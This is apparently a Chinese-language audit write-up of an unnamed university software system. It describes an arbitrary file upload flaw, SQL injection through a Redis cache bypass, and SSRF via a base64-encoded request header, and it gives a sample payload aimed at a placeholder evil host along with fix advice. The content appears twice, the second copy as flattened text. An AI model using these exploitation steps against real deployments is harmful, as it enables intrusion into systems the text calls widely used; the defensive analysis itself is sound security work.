某通用系统0day审计过程
字数 1488 2025-08-19 12:42:34

某通用系统0day审计过程教学文档

1. 系统概述

本次审计目标是一套广泛应用于各大高校的通用系统,审计发现了多个安全漏洞,包括任意文件上传、SQL注入绕过Redis缓存以及SSRF漏洞。

2. 路由分析

系统采用MVC架构,路由解析规则为:

  • 第一个接口对应Application下的模块
  • 第二个接口对应模块下的Controller文件名
  • 第三个接口为Controller中的方法名

示例:

/setting.php/index/login

解析为:

  • settingApplication/Setting/
  • indexController/IndexController.class.php
  • loginlogin方法

3. 任意文件上传漏洞

漏洞位置

Application\Admin\Controller\UploadController.class.php

漏洞分析

  1. 控制器继承了upload父类,调用接口实例化UploadFile()对象
  2. 关键代码:
$upload->exts = array('jpg', 'gif', 'png', 'jpeg');
  1. 问题核心:
  • 调用UploadFile()__set魔术方法:
public function __set($name, $value) {
    if(isset($this->config[$name])) {
        $this->config[$name] = $value;
    }
}
  • $config数组中不存在exts项,导致设置无效
  • 实际有效的配置项应为allowExts
  1. 文件类型检查函数:
private function checkExt($ext) {
    if(!empty($this->allowExts))
        return in_array(strtolower($ext), $this->allowExts, true);
    return true;
}
  • 由于allowExts未被正确设置,导致白名单检查失效

漏洞利用

任何使用$upload->exts设置上传类型的接口都存在任意文件上传风险,因为文件后缀检查实际上未生效。

4. SQL注入(绕过Redis缓存)

漏洞位置

前台控制器中的某个路由

漏洞分析

  1. 关键变量:
  • $count:用于避免频繁查询
  • $listJson:从Redis获取的数据
  1. 绕过逻辑:
if(!$listJson) {
    // 执行SQL查询
}
  • 要使条件成立,需要确保:
    • Redis中查询不到指定的phone
    • 即使用不存在的手机号
  1. 缓存机制:
  • 查询后会将该手机号存入Redis
  • 因此需要每次使用不同的随机手机号来绕过缓存

漏洞利用

通过随机化phone参数和伪造PHPSESSID可以绕过Redis缓存机制,直接触发SQL查询,实现SQL注入。

5. SSRF漏洞

漏洞位置

Application\Course\Controller\DocumentController.class.php

漏洞分析

  1. 关键条件:
if(!$_SERVER['HTTP_AUTHORIZATION'] || !$_SERVER['HTTP_X_OSS_PUB_KEY_URL']) {
    // 403跳转
}
  • 需要同时设置这两个HTTP头才能绕过403跳转
  1. 漏洞代码:
  • HTTP_X_OSS_PUB_KEY_URL进行base64解码
  • 解码后的URL直接通过curl_exec执行

漏洞利用

构造请求头:

Authorization: Basic QWxhZGRpbjpPcGVuU2VzYW1l
X-Oss-Pub-Key-Url: [base64编码的恶意URL]

例如:

X-Oss-Pub-Key-Url: aHR0cDovL2V2aWwtdXJsLmNvbQ==

解码后会请求http://evil-url.com

6. 修复建议

  1. 文件上传漏洞:
  • 修正配置项名称,使用allowExts而非exts
  • 确保文件类型检查函数被正确调用
  • 添加默认白名单限制
  1. SQL注入:
  • 使用参数化查询
  • 对输入进行严格过滤和类型检查
  • 改进缓存机制,避免缓存绕过导致的安全问题
  1. SSRF漏洞:
  • 禁止从HTTP头中直接获取URL
  • 对允许的URL进行严格白名单限制
  • 禁用危险的协议如file://gopher://
  • 对base64解码后的内容进行严格验证

7. 审计方法论总结

  1. 路由分析是审计的起点,理解系统架构有助于快速定位功能点
  2. 关注文件上传功能的实现细节,特别是:
    • 文件类型检查机制
    • 魔术方法的潜在风险
    • 配置项的正确性
  3. 缓存机制可能引入安全风险,特别是当缓存绕过会导致原始漏洞暴露时
  4. 全局搜索危险函数(如curl_exec)是发现SSRF等漏洞的有效方法
  5. HTTP头注入是常见的攻击面,需要特别关注从头部获取参数的情况
某通用系统0day审计过程教学文档 1. 系统概述 本次审计目标是一套广泛应用于各大高校的通用系统,审计发现了多个安全漏洞,包括任意文件上传、SQL注入绕过Redis缓存以及SSRF漏洞。 2. 路由分析 系统采用MVC架构,路由解析规则为: 第一个接口对应 Application 下的模块 第二个接口对应模块下的 Controller 文件名 第三个接口为Controller中的方法名 示例: 解析为: setting → Application/Setting/ index → Controller/IndexController.class.php login → login 方法 3. 任意文件上传漏洞 漏洞位置 Application\Admin\Controller\UploadController.class.php 漏洞分析 控制器继承了 upload 父类,调用接口实例化 UploadFile() 对象 关键代码: 问题核心: 调用 UploadFile() 的 __set 魔术方法: $config 数组中不存在 exts 项,导致设置无效 实际有效的配置项应为 allowExts 文件类型检查函数: 由于 allowExts 未被正确设置,导致白名单检查失效 漏洞利用 任何使用 $upload->exts 设置上传类型的接口都存在任意文件上传风险,因为文件后缀检查实际上未生效。 4. SQL注入(绕过Redis缓存) 漏洞位置 前台控制器中的某个路由 漏洞分析 关键变量: $count :用于避免频繁查询 $listJson :从Redis获取的数据 绕过逻辑: 要使条件成立,需要确保: Redis中查询不到指定的 phone 值 即使用不存在的手机号 缓存机制: 查询后会将该手机号存入Redis 因此需要每次使用不同的随机手机号来绕过缓存 漏洞利用 通过随机化 phone 参数和伪造 PHPSESSID 可以绕过Redis缓存机制,直接触发SQL查询,实现SQL注入。 5. SSRF漏洞 漏洞位置 Application\Course\Controller\DocumentController.class.php 漏洞分析 关键条件: 需要同时设置这两个HTTP头才能绕过403跳转 漏洞代码: 对 HTTP_X_OSS_PUB_KEY_URL 进行base64解码 解码后的URL直接通过 curl_exec 执行 漏洞利用 构造请求头: 例如: 解码后会请求 http://evil-url.com 6. 修复建议 文件上传漏洞: 修正配置项名称,使用 allowExts 而非 exts 确保文件类型检查函数被正确调用 添加默认白名单限制 SQL注入: 使用参数化查询 对输入进行严格过滤和类型检查 改进缓存机制,避免缓存绕过导致的安全问题 SSRF漏洞: 禁止从HTTP头中直接获取URL 对允许的URL进行严格白名单限制 禁用危险的协议如 file:// 、 gopher:// 等 对base64解码后的内容进行严格验证 7. 审计方法论总结 路由分析是审计的起点,理解系统架构有助于快速定位功能点 关注文件上传功能的实现细节,特别是: 文件类型检查机制 魔术方法的潜在风险 配置项的正确性 缓存机制可能引入安全风险,特别是当缓存绕过会导致原始漏洞暴露时 全局搜索危险函数(如 curl_exec )是发现SSRF等漏洞的有效方法 HTTP头注入是常见的攻击面,需要特别关注从头部获取参数的情况